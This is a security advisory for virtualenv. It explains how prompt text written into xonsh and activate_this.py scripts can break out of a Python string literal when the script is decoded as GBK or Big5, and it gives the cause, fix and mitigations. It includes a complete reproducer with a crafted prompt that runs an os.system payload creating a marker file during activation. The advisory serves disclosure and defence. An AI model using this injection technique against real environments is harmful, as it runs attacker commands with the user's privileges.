GHSA-394h-qwmc-48pf

virtualenv: Xonsh activation literals depend on the script decoding codec

At a glance

Published
Updated
CVE
CVE-2026-113718
CVSS_V4
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Description

## Summary Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. ## Affected area Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py). ## Mechanism The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal. ## Reproduction and evidence The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt. The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER" # set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")} # attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#" # user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]')) print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}") print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}") assert not marker.exists(), "payload ran at creation time" # trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir] control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True) ran_in_utf8_session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}") observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True) ran_in_gbk_session = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}") # check: the prompt is data and must not run in either session print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK") ``` **`repro.d/activate_with_exec_open.py`** ```text #!/usr/bin/env python3 # usage: activate_with_exec_open.py ENV_DIR # A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2. import locale import os import sys this_file = os.path.join(sys.argv[1], "bin", "activate_this.py") exec(open(this_file).read(), {"__file__": this_file}) print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}") ``` **`repro.d/install_gbk_locale.py`** ```text #!/usr/bin/env python3 # usage: install_gbk_locale.py LOCPATH # Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources. import os import subprocess import sys locpath = sys.argv[1] os.makedirs(locpath) charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"] charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)] for lead in range(0x81, 0xFF): for trail in range(0x40, 0xFF): try: char = bytes([lead, trail]).decode("gbk") except UnicodeDecodeError: continue charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}") charmap.append("END CHARMAP") with open(f"{locpath}/GBK.charmap", "w") as charmap_file: charmap_file.write("\n".join(charmap) + "\n") # -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below source = "/tmp/repro.d/zh_CN_minimal.locale" subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True) gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath} codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True) if codeset.stdout.strip() != "GBK" or codeset.stderr: sys.exit(f"zh_CN.GBK locale not usable: {codeset}") ``` **`repro.d/zh_CN_minimal.locale`** ```text comment_char % escape_char / % Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which % comes from the charmap given to localedef with -f. LC_CTYPE upper <U0041>..<U005A> lower <U0061>..<U007A> digit <U0030>..<U0039> space <U0009>..<U000D>;<U0020> cntrl <U0000>..<U001F>;<U007F> punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E> xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066> blank <U0009>;<U0020> END LC_CTYPE LC_COLLATE order_start forward UNDEFINED order_end END LC_COLLATE ``` ## Impact An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents. ## Versions tested The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9. ## Known mitigation Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases. Recreate environments with virtualenv 21.14.9 or later. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided review identified the remaining activation path. ## Additional fix branch [PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside its activation-state changes. Both branches must retain this quoting rule when integrated.

Affected packages

PackageVersions
PyPI · virtualenvintroduced 0, fixed 21.14.9

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database